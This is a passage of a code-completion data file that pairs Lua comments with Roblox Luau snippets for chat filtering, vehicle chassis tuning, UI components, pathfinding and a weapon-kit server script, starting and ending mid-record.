then\n\t\t\t\treturn message\n\t\t\telse\n\t\t\t\twarn(\"Error filtering message:\", message)\n\t\t\tend\n\t\t\tfilterRetries = filterRetries + 1\n\t\t\tif filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then\n\t\t\t\tself:InternalNotifyFilterIssue()\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\tlocal backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]\n\t\t\t-- backoffWait = backoffInterval +/- (0 -> backoffInterval)\n\t\t\tlocal backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)\n\t\t\twait(backoffWait)\n\t\tend\n\telse\n\t\t--// Simulate filtering latency.\n\t\t--// There is only latency the first time the message is filtered, all following calls will be instant.\n\t\tif not StudioMessageFilteredCache[message] then\n\t\t\tStudioMessageFilteredCache[message] = true\n\t\t\twait()\n\t\tend\n\t\treturn message\n\tend\n\n\treturn nil\nend\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nlocal Package = require(PackageIndex[\"mock\"][\"mock\"])\n\nreturn Package\n"} +{"prompt": "--[[Manage Plugins]]", "completion": "\n\t\n\tscript.Parent[\"A-Chassis Interface\"].Car.Value=car\n\tfor i,v in pairs(script.Parent.Plugins:GetChildren()) do\n\t\tfor _,a in pairs(v:GetChildren()) do\n\t\t\tif a:IsA(\"RemoteEvent\") or a:IsA(\"RemoteFunction\") then \n\t\t\t\ta.Parent=car\n\t\t\t\tfor _,b in pairs(a:GetChildren()) do\n\t\t\t\t\tif b:IsA(\"Script\") then b.Disabled=false end\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\tv.Parent = script.Parent[\"A-Chassis Interface\"]\n\tend\n\tscript.Parent.Plugins:Destroy()\n\n\n"} +{"prompt": "-- Stop: Stops the clock", "completion": "\nStop.OnInvoke = function()\n\tRunning = false\nend\n"} +{"prompt": "--[[NOTICE: This only works if you have an atmosphere in Lighting. \nIf you don't, feel free to delete this script and put the {\"Fog\"} script in ServerScriptService.\n\n--Put me in ServerScriptService and you're set! -ethanleung101]]", "completion": "\n\nwhile true do\n\twait(60)--wait()\n\tgame.Lighting.Atmosphere.Density = 0.35 --makes the game foggy (must add atmosphere in Lighting to make it work)\n\twait(120)\n\tgame.Lighting.Atmosphere.Density = 0.2 --returns to normal\n\twait(240)\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal Array = script.Parent.Parent\nlocal LuauPolyfill = Array.Parent\nlocal types = require(LuauPolyfill.types)\ntype Object = types.Object\ntype Array = types.Array\ntype Map = types.Map\ntype mapFn = (element: T, index: number) -> U\ntype mapFnWithThisArg = (thisArg: any, element: T, index: number) -> U\n\nreturn function(\n\tvalue: Map,\n\tmapFn: (mapFn | mapFnWithThisArg)?,\n\tthisArg: Object?\n\t-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts\n): Array | Array | Array\n\tlocal array = {}\n\n\tif mapFn then\n\t\tarray = {}\n\t\tfor i, v in value :: any do\n\t\t\tif thisArg ~= nil then\n\t\t\t\t(array :: Array)[i] = (mapFn :: mapFnWithThisArg)(thisArg, v, i)\n\t\t\telse\n\t\t\t\t(array :: Array)[i] = (mapFn :: mapFn)(v, i)\n\t\t\tend\n\t\tend\n\telse\n\t\tarray = {}\n\t\tfor i, v in value :: any do\n\t\t\t(array :: Array)[i] = v\n\t\tend\n\tend\n\n\treturn array\nend\n"} +{"prompt": "-- ROBLOX deviation: declare these now because of scoping differences between in\n-- Lua and JS", "completion": "\nlocal describeComponentFrame\nlocal describeFunctionComponentFrame\n"} +{"prompt": "-- Provide functionality to the local API endpoint instance", "completion": "\nSyncAPI.OnInvoke = function (...)\n\n\t-- Route requests to server endpoint if in filter mode\n\tif IsFilterModeEnabled() then\n\t\treturn ServerEndpoint:InvokeServer(...);\n\n\t-- Perform requests locally if working locally\n\telse\n\t\tSyncModule = require(SyncAPI:WaitForChild 'SyncModule');\n\t\treturn SyncModule.PerformAction(Game.Players.LocalPlayer, ...);\n\tend;\n\nend;\n"} +{"prompt": "-- Implement Signal:Wait() in terms of a temporary connection using\n-- a Signal:Connect() which disconnects itself.", "completion": "\nfunction Signal:Wait()\n\tlocal waitingCoroutine = coroutine.running()\n\tlocal cn;\n\tcn = self:Connect(function(...)\n\t\tcn:Disconnect()\n\t\ttask.spawn(waitingCoroutine, ...)\n\tend)\n\treturn coroutine.yield()\nend\n"} +{"prompt": "-- services", "completion": "\nlocal HttpService = game:GetService(\"HttpService\")\n\n"} +{"prompt": "--!strict", "completion": "\nexport type Error = { name: string, message: string, stack: string? }\n\nlocal Error = {}\n\nlocal DEFAULT_NAME = \"Error\"\nError.__index = Error\nError.__tostring = function(self)\n\t-- Luau FIXME: I can't cast to Error or Object here: Type 'Object' could not be converted into '{ @metatable *unknown*, {| |} }'\n\treturn getmetatable(Error :: any).__tostring(self)\nend\n\nfunction Error.new(message: string?): Error\n\treturn (\n\t\tsetmetatable({\n\t\t\tname = DEFAULT_NAME,\n\t\t\tmessage = message or \"\",\n\t\t\tstack = debug.traceback(nil, 2),\n\t\t}, Error) :: any\n\t) :: Error\nend\n\nreturn setmetatable(Error, {\n\t__call = function(_, ...)\n\t\tlocal inst = Error.new(...)\n\t\tinst.stack = debug.traceback(nil, 2)\n\t\treturn inst\n\tend,\n\t__tostring = function(self)\n\t\tif self.name ~= nil then\n\t\t\tif self.message and self.message ~= \"\" then\n\t\t\t\treturn string.format(\"%s: %s\", tostring(self.name), tostring(self.message))\n\t\t\tend\n\t\t\treturn tostring(self.name)\n\t\tend\n\t\treturn tostring(DEFAULT_NAME)\n\tend,\n})\n"} +{"prompt": "--// bolekinds", "completion": "\n\nlocal plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif plr.YouCash.Value >= 500 and game.ServerStorage.ServerData.CatBed.Value == false then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\t\tplr.YouCash.Value -= 500\n\t\tgame.ServerStorage.ServerData.CatBed.Value = true\n\tend\nend)\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\t\n\tlocal playergui = service.PlayerGui\n\tlocal gui = client.UI.Prepare(script.Parent.Parent)\n\tlocal label = gui.LABEL\n\tlocal str = data.Message\n\tlocal topbar = client.UI.Get(\"TopBar\")\n\t\n\tclient.UI.Remove(\"Notif\",script.Parent.Parent)\n\t\n\tlocal log = {\n\t\tType = \"Notif\";\n\t\tTitle = \"Notif\";\n\t\tMessage = str;\n\t\tIcon = \"rbxassetid://7501175708\";\n\t\tTime = os.date(\"%X\");\n\t\tFunction = nil;\n\t}\n\n\ttable.insert(client.Variables.CommunicationsHistory, log) \n\tservice.Events.CommsPanel:Fire(log)\n\n\t\n\tif str and type(str)==\"string\" then\n\t\tlabel.Text = str\n\t\tlabel.Position = UDim2.new(0, 0, 0, ((topbar and 40) or 0) - 35)\n\t\tgTable:Ready()\n\telse\n\t\tgui:Destroy()\n\tend\nend\n"} +{"prompt": "-- dependencies : (dictionary) a map of requirements\n-- dependencies.networking : (table) an object that implements POST and returns a promise", "completion": "\nfunction GAReporter.new(dependencies)\n\tlocal reporter = {\n\t\t-- trackingId sends the data to the right GA property.\n\t\ttrackingId = PROPERTY_ID,\n\n\t\t-- userId is meant to help identify recurring users,\n\t\t-- If you plan on using GAReporter on a per-client basis, you should set this value\n\t\tuserId = HttpService:GenerateGUID(),\n\n\t\t-- clientId is meant to identify a given session that data is coming from.\n\t\tclientId = HttpService:GenerateGUID(),\n\n\t\t-- our HTTP handler\n\t\t_networking = dependencies.networking,\n\t}\n\tsetmetatable(reporter, GAReporter)\n\n\treturn reporter\nend\n\nfunction GAReporter:setUserId(userId)\n\tassert(type(userId) == \"string\", \"userId must be a string\")\n\tself.userId = userId\nend\n"} +{"prompt": "-------------------------------------------------------------------------", "completion": "\n\nlocal function CheckAlive()\n\tlocal humanoid = findPlayerHumanoid(Player)\n\treturn humanoid ~= nil and humanoid.Health > 0\nend\n\nlocal function GetEquippedTool(character: Model?)\n\tif character ~= nil then\n\t\tfor _, child in pairs(character:GetChildren()) do\n\t\t\tif child:IsA('Tool') then\n\t\t\t\treturn child\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal ExistingPather = nil\nlocal ExistingIndicator = nil\nlocal PathCompleteListener = nil\nlocal PathFailedListener = nil\n\nlocal function CleanupPath()\n\tif ExistingPather then\n\t\tExistingPather:Cancel()\n\t\tExistingPather = nil\n\tend\n\tif PathCompleteListener then\n\t\tPathCompleteListener:Disconnect()\n\t\tPathCompleteListener = nil\n\tend\n\tif PathFailedListener then\n\t\tPathFailedListener:Disconnect()\n\t\tPathFailedListener = nil\n\tend\n\tif ExistingIndicator then\n\t\tExistingIndicator:Destroy()\n\tend\nend\n\nlocal function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)\n\tif ExistingPather then\n\t\tCleanupPath()\n\tend\n\tExistingPather = thisPather\n\tthisPather:Start(overrideShowPath)\n\n\tPathCompleteListener = thisPather.Finished.Event:Connect(function()\n\t\tCleanupPath()\n\t\tif hitChar then\n\t\t\tlocal currentWeapon = GetEquippedTool(character)\n\t\t\tif currentWeapon then\n\t\t\t\tcurrentWeapon:Activate()\n\t\t\tend\n\t\tend\n\tend)\n\tPathFailedListener = thisPather.PathFailed.Event:Connect(function()\n\t\tCleanupPath()\n\t\tif overrideShowPath == nil or overrideShowPath then\n\t\t\tlocal shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())\n\t\t\tif shouldPlayFailureAnim then\n\t\t\t\tClickToMoveDisplay.PlayFailureAnimation()\n\t\t\tend\n\t\t\tClickToMoveDisplay.DisplayFailureWaypoint(hitPt)\n\t\tend\n\tend)\nend\n\nlocal function ShowPathFailedFeedback(hitPt)\n\tif ExistingPather and ExistingPather:IsActive() then\n\t\tExistingPather:Cancel()\n\tend\n\tif PlayFailureAnimation then\n\t\tClickToMoveDisplay.PlayFailureAnimation()\n\tend\n\tClickToMoveDisplay.DisplayFailureWaypoint(hitPt)\nend\n\nfunction OnTap(tapPositions: {Vector3}, goToPoint: Vector3?, wasTouchTap: boolean?)\n\t-- Good to remember if this is the latest tap event\n\tlocal camera = Workspace.CurrentCamera\n\tlocal character = Player.Character\n\n\tif not CheckAlive() then return end\n\n\t-- This is a path tap position\n\tif #tapPositions == 1 or goToPoint then\n\t\tif camera then\n\t\t\tlocal unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)\n\t\t\tlocal ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)\n\n\t\t\tlocal myHumanoid = findPlayerHumanoid(Player)\n\t\t\tlocal hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())\n\n\t\t\tlocal hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)\n\t\t\tif wasTouchTap and hitHumanoid and StarterGui:GetCore(\"AvatarContextMenuEnabled\") then\n\t\t\t\tlocal clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)\n\t\t\t\tif clickedPlayer then\n\t\t\t\t\tCleanupPath()\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\n\t\t\tif goToPoint then\n\t\t\t\thitPt = goToPoint\n\t\t\t\thitChar = nil\n\t\t\tend\n\t\t\tif hitPt and character then\n\t\t\t\t-- Clean up current path\n\t\t\t\tCleanupPath()\n\t\t\t\tlocal thisPather = Pather(hitPt, hitNormal)\n\t\t\t\tif thisPather:IsValidPath() then\n\t\t\t\t\tHandleMoveTo(thisPather, hitPt, hitChar, character)\n\t\t\t\telse\n\t\t\t\t\t-- Clean up\n\t\t\t\t\tthisPather:Cleanup()\n\t\t\t\t\t-- Feedback here for when we don't have a good path\n\t\t\t\t\tShowPathFailedFeedback(hitPt)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telseif #tapPositions >= 2 then\n\t\tif camera then\n\t\t\t-- Do shoot\n\t\t\tlocal currentWeapon = GetEquippedTool(character)\n\t\t\tif currentWeapon then\n\t\t\t\tcurrentWeapon:Activate()\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function DisconnectEvent(event)\n\tif event then\n\t\tevent:Disconnect()\n\tend\nend\n"} +{"prompt": "--[[**\n\tmatches any type except nil\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.any(value)\n\tif value ~= nil then\n\t\treturn true\n\telse\n\t\treturn false, \"any expected, got nil\"\n\tend\nend\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 48\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 45\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,57 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 0.997)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- PLEASE DONT DELETE THIS README SCRIPT. IT CONTAINS THE BUTTON SCRIPT!", "completion": "\n"} +{"prompt": "-- Create component", "completion": "\nlocal Dock = Roact.PureComponent:extend(script.Name)\n\nfunction Dock:init()\n self.DockSize, self.SetDockSize = Roact.createBinding(UDim2.new())\nend\n\nfunction Dock:render()\n return new('Frame', {\n Active = true;\n AnchorPoint = Vector2.new(1, 0.5);\n BackgroundTransparency = 1;\n Position = UDim2.new(1, -10, 0.6, 0);\n Size = self.DockSize;\n ZIndex = 0;\n }, {\n Layout = new('UIListLayout', {\n Padding = UDim.new(0, 1);\n FillDirection = Enum.FillDirection.Vertical;\n HorizontalAlignment = Enum.HorizontalAlignment.Left;\n VerticalAlignment = Enum.VerticalAlignment.Top;\n SortOrder = Enum.SortOrder.LayoutOrder;\n [Roact.Ref] = function (rbx)\n if rbx then\n self.SetDockSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))\n end\n end;\n [Roact.Change.AbsoluteContentSize] = function (rbx)\n self.SetDockSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))\n end;\n });\n ToolList = new(ToolList, {\n LayoutOrder = 0;\n Tools = self.props.Tools;\n Core = self.props.Core;\n });\n SelectionPane = new(SelectionPane, {\n LayoutOrder = 1;\n Core = self.props.Core;\n });\n AboutPane = new(AboutPane, {\n LayoutOrder = 2;\n Core = self.props.Core;\n });\n })\nend\n\nreturn Dock\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\nlocal pi = math.pi\nlocal abs = math.abs\nlocal clamp = math.clamp\nlocal exp = math.exp\nlocal rad = math.rad\nlocal sign = math.sign\nlocal sqrt = math.sqrt\nlocal tan = math.tan\n\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal Workspace = game:GetService(\"Workspace\")\n\nlocal LocalPlayer = Players.LocalPlayer\nif not LocalPlayer then\n\tPlayers:GetPropertyChangedSignal(\"LocalPlayer\"):Wait()\n\tLocalPlayer = Players.LocalPlayer\nend\n\nlocal Camera = Workspace.CurrentCamera\nWorkspace:GetPropertyChangedSignal(\"CurrentCamera\"):Connect(function()\n\tlocal newCamera = Workspace.CurrentCamera\n\tif newCamera then\n\t\tCamera = newCamera\n\tend\nend)\n"} +{"prompt": "--// Events", "completion": "\nL_34_.OnServerEvent:connect(function(L_84_arg1)\t\n\tfor L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do\n\t\tif L_86_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tL_86_forvar2.Enabled = true\n\t\tend\n\tend;\n\n\tdelay(1 / 30, function()\n\t\tfor L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do\n\t\t\tif L_88_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_88_forvar2.Enabled = false\n\t\t\tend\n\t\tend\n\tend);\nend)\n\nlocal L_52_\nL_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)\n\tL_90_arg2:TakeDamage(L_91_arg3)\n\tif L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then\n\t\tif L_4_:FindFirstChild(L_2_.Name) then\n\t\t\tlocal L_92_ = L_4_[L_2_.Name]\n\t\t\tL_92_.Value = not L_92_.Value\n\t\tend\n\t\tL_39_:FireClient(L_89_arg1)\n\t\tL_52_ = L_90_arg2\n\tend\nend)\n\nL_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)\n\tlocal L_95_ = Instance.new(\"ObjectValue\")\n\tL_95_.Name = \"creator\"\n\tL_95_.Value = L_93_arg1\n\tL_95_.Parent = L_94_arg2\n\tgame.Debris:AddItem(L_95_, 3)\nend)\n\nL_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)\n\tlocal L_99_ = L_96_arg1.Character\n\tlocal L_100_ = L_99_:FindFirstChild('Torso')\n\tlocal L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')\n\tlocal L_102_ = L_100_:FindFirstChild('Right Hip')\n\tlocal L_103_ = L_100_:FindFirstChild('Left Hip')\n\tlocal L_104_ = L_100_:FindFirstChild('Clone')\n\t\n\tif L_97_arg2 == \"Prone\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)\n\t\tL_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)\n\t\tL_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)\t\t\t\n\t\tL_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)\t\n\telseif L_97_arg2 == \"Crouch\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)\n\t\tL_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)\n\t\tL_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)\n\t\tL_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Stand\" and L_99_ and L_104_ then\t\n\t\tL_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\telseif L_97_arg2 == \"LeanRight\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"LeanLeft\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Unlean\" then\n\t\tL_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tif L_100_:FindFirstChild('Clone') then\n\t\t\tL_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tend\n\telseif L_97_arg2 == \"Patrol\" then\n\t\tL_19_.C1 = L_98_arg3\n\telseif L_97_arg2 == \"Unpatrol\" then\n\t\tL_19_.C1 = CFrame.new()\n\tend\nend)\n\nL_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)\n\tlocal L_112_ = Instance.new(\"Part\", workspace)\n\tL_112_.FormFactor = \"Custom\"\n\tL_112_.TopSurface = 0\n\tL_112_.BottomSurface = 0\n\tL_112_.Transparency = 1\n\tL_112_.Anchored = true\n\tL_112_.CanCollide = false\n\tL_112_.Size = Vector3.new(0.5, 0, 0.5)\n\tL_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4)\n\tL_112_.BrickColor = BrickColor.new(\"Really black\")\n\tL_112_.Material = \"SmoothPlastic\"\n\n\tlocal L_113_ = Instance.new(\"Decal\", L_112_)\n\tL_113_.Texture = \"rbxassetid://64291977\"\n\tL_113_.Face = \"Top\"\n\tgame.Debris:AddItem(L_113_, 3)\n\t\n\tlocal L_114_ = Instance.new(\"PointLight\", L_112_)\n\tL_114_.Color = Color3.new(0, 0, 0)\n\tL_114_.Range = 0\n\tL_114_.Shadows = true\n\t\n\t--[[local Meta = Instance.new(\"Sound\")\n\tMeta.Name = \"Crack\"\t\n\t\n\tif h.Material == Enum.Material.Grass or h.Material == Enum.Material.Ice or h.Material == Enum.Material.Fabric or h.Material == Enum.Material.Pebble then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. DirtSounds[math.random(0,#DirtSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Sand then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. SandSounds[math.random(0,#SandSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Glass or h.Material == Enum.Material.Neon then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. GlassSounds[math.random(0,#GlassSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Wood or h.Material == Enum.Material.WoodPlanks then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. WoodSounds[math.random(0,#WoodSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Metal or h.Material == Enum.Material.CorrodedMetal or h.Material == Enum.Material.DiamondPlate then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. MetalSounds[math.random(0,#MetalSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Water then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. WaterSounds[math.random(0,#WaterSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Concrete or h.Material == Enum.Material.Plastic or h.Material == Enum.Material.SmoothPlastic or h.Material == Enum.Material.Slate or h.Material == Enum.Material.Foil or h.Material == Enum.Material.Brick or h.Material == Enum.Material.Granite or h.Material == Enum.Material.Marble or h.Material == Enum.Material.Cobblestone then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. ConcreteSounds[math.random(0,#ConcreteSounds)]\n\tend\t\n\t\n\tMeta.Volume = math.random(0.8,1)\n\tMeta.EmitterSize = 10\n\tMeta.MaxDistance = 30\n\tMeta.Pitch = math.random(0,0.6)\n\tMeta.Parent = Crack\n\tMeta:play()]]--\n\t\n\tgame.Debris:AddItem(L_112_, 3)\n\t\n\tlocal L_115_\n\tlocal L_116_\n\t\t\n\tif L_110_arg6 == \"Part\" then\n\t\tL_115_ = L_31_:WaitForChild(\"Spark\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_116_ = L_31_:WaitForChild(\"Smoke\"):clone()\n\t\tL_116_.Parent = L_112_\n\t\tL_116_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_115_.Enabled = true\n\t\tL_116_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\tgame.Debris:AddItem(L_116_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\t\tL_116_.Enabled = false\n\t\tend)\n\telseif L_110_arg6 == \"Human\" then\t\t\n\t\tL_115_ = L_31_:WaitForChild(\"Blood\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\tL_115_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\tend)\n\tend\nend;\n\nL_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)\n\tL_40_:FireAllClients(L_117_arg1, L_118_arg2)\nend)\n\nL_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)\n\tlocal L_121_ = Instance.new('Part', workspace)\n\tL_121_.Size = Vector3.new(0.1, 0.1, 0.1)\n\tL_121_.Transparency = 1\n\tL_121_.CanCollide = false\n\tL_121_.Anchored = true\n\tL_121_.Position = L_120_arg2\n\tlocal L_122_ = Instance.new('Explosion', workspace)\n\tL_122_.Position = L_120_arg2\n\tL_122_.BlastPressure = L_12_.BlastPressue\n\tL_122_.BlastRadius = L_12_.BlastRadius\n\tL_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius\n\tL_122_.ExplosionType = L_12_.ExplosionType\n\tlocal L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()\n\tL_123_.Parent = L_121_\n\tL_123_:Play()\n\tgame:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)\nend)\n\nL_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)\n\tfor L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then\n\t\t\tfor L_128_forvar1, L_129_forvar2 in 